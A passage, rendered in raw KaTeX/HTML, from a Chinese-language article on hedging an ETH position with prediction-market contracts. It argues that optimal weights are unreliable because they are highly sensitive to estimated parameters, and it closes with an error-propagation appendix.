style="top:-2.4519em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span></span></span></span>。</p><p><strong>但现实是</strong>：这个&quot;精确解&quot;完全依赖于我们估计的参数，而这些参数本身就充满不确定性。</p><h3 id="现实中的问题">现实中的问题</h3><p>这个优化看起来很专业，但有几个致命问题：</p><h4 id="问题1：垃圾进，垃圾出">问题1：垃圾进，垃圾出</h4><ul><li>所有输入参数都是估计的</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>（跌破概率）：你的主观判断</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">]</span></span></span></span>（期望价格）：你的预测</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ρ</span></span></span></span>（相关性）：基本是瞎猜</li></ul><h4 id="问题2：过度精确">问题2：过度精确</h4><ul><li>模型会给出&quot;最优权重&quot;比如 37.2% : 62.8%</li><li>但实际上，50% : 50% 可能效果差不多</li><li><strong>精确度是假象，准确度才是关键</strong></li></ul><h4 id="问题3：参数敏感性">问题3：参数敏感性</h4><ul><li>稍微调整一下相关性假设</li><li>&quot;最优权重&quot;可能从 30% : 70% 变成 70% : 30%</li><li>模型对参数极其敏感</li></ul><h3 id="实际上，你应该怎么做？">实际上，你应该怎么做？</h3><p>与其陷入复杂的数学优化，不如采用以下简化策略：</p><h4 id="策略1：固定比例法">策略1：固定比例法</h4><ul><li>直接用 50% : 50% 的权重分配</li><li>避免过度拟合参数估计误差</li><li>简单粗暴，但往往效果不差</li></ul><h4 id="策略2：阈值触发法">策略2：阈值触发法</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">如果 |你的概率估计 - 市场价格| &gt; 10%</span><br><span class="line">    并且 你有把握</span><br><span class="line">    那么 小仓位尝试</span><br><span class="line">否则 不要交易</span><br></pre></td></tr></table></figure><h4 id="策略3：承认局限性">策略3：承认局限性</h4><ul><li>把这个模型当作<strong>思维工具</strong>，而不是交易指南</li><li>重点理解风险来源，而不是计算&quot;最优解&quot;</li><li>知道何时不该交易比知道如何交易更重要</li></ul><h2 id="7-核心洞察：对冲悖论的数学证明">7. 核心洞察：对冲悖论的数学证明</h2><p>经过前面的分析，我们得到了一个令人不安的结论：</p><h3 id="悖论的本质">悖论的本质</h3><p>要构建有效的对冲策略，你需要：</p><pre><code class="highlight mermaid">graph TD    A[构建对冲策略需要] --&gt; B[预测跌破概率 p]    A --&gt; C[&quot;预测ETH价格 E(S)&quot;]    A --&gt; D[估计相关性 ρ]    B --&gt; E[&quot;如果能准确预测 p&lt;br/&gt;为什么不直接买预测市场？&quot;]    C --&gt; F[&quot;如果能准确预测价格&lt;br/&gt;为什么不直接买ETH？&quot;]    D --&gt; G[&quot;如果前两个都不确定&lt;br/&gt;凭什么相信相关性？&quot;]    E --&gt; H[对冲悖论]    F --&gt; H    G --&gt; H    style H fill:#FF6B6B,color:#FFFFFF    style E fill:#FFE4B5    style F fill:#FFE4B5    style G fill:#FFE4B5</code></pre><p><strong>核心矛盾</strong>：</p><ul><li>需要预测能力来构建对冲</li><li>但有预测能力就不需要对冲</li></ul><h3 id="参数不确定性的放大效应">参数不确定性的放大效应</h3><p>想象一个简单的例子：</p><pre><code class="highlight mermaid">graph LR    subgraph P [&quot;参数估计不确定性&quot;]        A1[&quot;跌破概率 p&lt;br/&gt;估计: 35%&lt;br/&gt;实际: 25%-45%&quot;]        A2[&quot;ETH收益&lt;br/&gt;估计: +5%&lt;br/&gt;实际: -10%到+20%&quot;]        A3[&quot;相关性 ρ&lt;br/&gt;估计: -0.6&lt;br/&gt;实际: -0.2到-0.8&quot;]    end    A1 --&gt; B[最优权重计算]    A2 --&gt; B    A3 --&gt; B    B --&gt; C1[&quot;情景1&lt;br/&gt;30%预测市场&lt;br/&gt;70%ETH&quot;]    B --&gt; C2[&quot;情景2&lt;br/&gt;70%预测市场&lt;br/&gt;30%ETH&quot;]    style A1 fill:#FFB6C1    style A2 fill:#FFB6C1    style A3 fill:#FFB6C1    style B fill:#FFFF99    style C1 fill:#90EE90    style C2 fill:#87CEEB</code></pre><p><strong>问题在于</strong>：最优权重对这些参数极其敏感。微小的参数变化可能导致权重建议截然相反。</p><p>这种敏感性来自于数学上的&quot;误差传播&quot;（详细分析见附录），但你不需要理解复杂的数学，只需要记住：</p><p><strong>垃圾参数进，垃圾结果出。</strong></p><h3 id="市场效率的挑战">市场效率的挑战</h3><p>如果预测市场是有效的：</p><ul><li>市场价格已经反映了所有可得信息</li><li>你的&quot;超额收益&quot;预期可能是错觉</li><li>真正的套利机会转瞬即逝</li></ul><h2 id="8-那么，这个模型还有用吗？">8. 那么，这个模型还有用吗？</h2><h3 id="模型的真正价值">模型的真正价值</h3><p>虽然这个模型在实际交易中可能没用，但它的价值在于：</p><pre><code class="highlight mermaid">graph TD    A[数学模型的真正价值] --&gt; B[风险认知工具]    A --&gt; C[思维框架]    A --&gt; D[假设检验工具]    B --&gt; B1[理解对冲复杂性]    B --&gt; B2[认识参数估计困难]    B --&gt; B3[知道何时不该交易]    C --&gt; C1[系统思考收益风险关系]    C --&gt; C2[理解相关性重要作用]    C --&gt; C3[质疑完美策略]    D --&gt; D1[明确表达假设]    D --&gt; D2[认识假设脆弱性]    D --&gt; D3[培养健康怀疑]    style A fill:#4A90E2,color:#FFFFFF    style B fill:#7ED321    style C fill:#F5A623    style D fill:#BD10E0</code></pre><h3 id="实际应用建议">实际应用建议</h3><h4 id="对于普通投资者：">对于普通投资者：</h4><ol><li><strong>不要尝试这个策略</strong></li><li>如果你真的认为能预测价格，直接做单边交易</li><li>把精力放在提高预测能力上，而不是复杂的对冲</li></ol><h4 id="对于专业投资者：">对于专业投资者：</h4><ol><li>可以用这个框架做风险分析</li><li>重点关注极端情况下的损失</li><li>准备好在假设被证伪时快速退出</li></ol><h2 id="9-结论：数学的美丽与现实的残酷">9. 结论：数学的美丽与现实的残酷</h2><h3 id="我们学到了什么？">我们学到了什么？</h3><pre><code class="highlight mermaid">graph TD    A[核心教训] --&gt; B[对冲悖论]    A --&gt; C[参数估计困难]    A --&gt; D[简单胜于复杂]    A --&gt; E[建模价值重新定义]    B --&gt; B1[需要预测能力来构建对冲]    B --&gt; B2[有预测能力就不需要对冲]    B --&gt; B3[这是根本矛盾]    C --&gt; C1[跌破概率主观判断]    C --&gt; C2[价格预测充满偏差]    C --&gt; C3[相关性基本是猜测]    C --&gt; C4[误差会被放大]    D --&gt; D1[固定比例更稳健]    D --&gt; D2[过度优化适得其反]    D --&gt; D3[精确度是假象]    E --&gt; E1[理解胜于预测]    E --&gt; E2[质疑胜于相信]    E --&gt; E3[边界胜于精度]    style A fill:#4A90E2,color:#FFFFFF    style B fill:#FF6B6B,color:#FFFFFF    style C fill:#F5A623,color:#FFFFFF    style D fill:#7ED321,color:#FFFFFF    style E fill:#BD10E0,color:#FFFFFF</code></pre><h3 id="更深层的启示">更深层的启示</h3><p>这个案例揭示了量化金融的一个根本问题：</p><ul><li><strong>数学模型给人精确的错觉</strong></li><li><strong>复杂性常常掩盖了本质的不确定性</strong></li><li><strong>最重要的是知道模型的边界在哪里</strong></li></ul><h3 id="对建模者的建议">对建模者的建议</h3><ol><li><strong>先质疑假设，再做数学</strong></li><li><strong>承认不确定性，而不是假装精确</strong></li><li><strong>把模型当作工具，而不是真理</strong></li><li><strong>记住：所有模型都是错误的，但有些是有用的</strong></li></ol><hr><p><em>这个模型教会我们的最重要一课是：知道什么时候不该相信模型，比知道如何使用模型更重要。</em></p><h2 id="附录">附录</h2><h3 id="误差传播分析">误差传播分析</h3><p>对于数学爱好者，这里详细解释为什么参数估计误差会被放大：</p><h4 id="敏感性分析的数学基础">敏感性分析的数学基础</h4><p>最优权重 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span> 是参数的函数：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">]</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ρ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></p><p>当参数有小的误差时，权重的误差可以用泰勒展开近似：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7387em;"></span><span class="mord">Δ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7387em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2519em;vertical-align:-0.8804em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal">p</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord">Δ</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.3074em;vertical-align:-0.936em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">]</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord">Δ</span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.2519em;vertical-align:-0.8804em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal">ρ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord">Δ</span><span class="mord mathnormal">ρ</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.2074em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord">Δ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><h4 id="为什么敏感性这么高？">为什么敏感性这么高？</h4><ol><li><p><strong>分母效应</strong>：最优权重公式的分母包含 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4519em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></p><ul><li>当相关性很强时，这个分母接近零</li><li>导致权重对参数变化极其敏感</li></ul></li><li><p><strong>相关性的非线性影响</strong>：协方差 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.3147em;"></span><span class="mord mathnormal">ρ</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7253em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.6853em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3147em;"><span></span></span></span></span></span></span></span></span></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ρ</span></span></span></span> 的微小变化通过平方根传播</li><li>在接近完全相关时敏感性爆炸</li></ul></li></ol><h4 id="数值示例">数值示例</h4><p>假设基准参数：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.3</span></span></span></span>, <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">]</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.05</span></span></span></span>, <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ρ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">0.6</span></span></span></span>, <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></p><p><strong>情景1</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ρ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">0.5</span></span></span></span> (instead of -0.6)</p><ul><li>最优权重可能从 (0.4, 0.6) 变为 (0.7, 0.3)</li></ul><p><strong>情景2</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.25</span></span></span></span> (instead of 0.3)</p><ul><li>期望收益从正变负，策略完全失效</li></ul><p>这就是为什么在实际应用中，固定比例往往比&quot;最优&quot;权重更稳健。</p><h3 id="期望公式和方差公式">期望公式和方差公式</h3><p><strong>期望的基本性质</strong>：</p><ul><li><strong>线性性</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">bY</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">]</span></span></span></span></li><li><strong>常数性</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal">c</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span></span></span></span>（c为常数）</li><li><strong>独立性</strong>：如果X和Y独立，则<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" 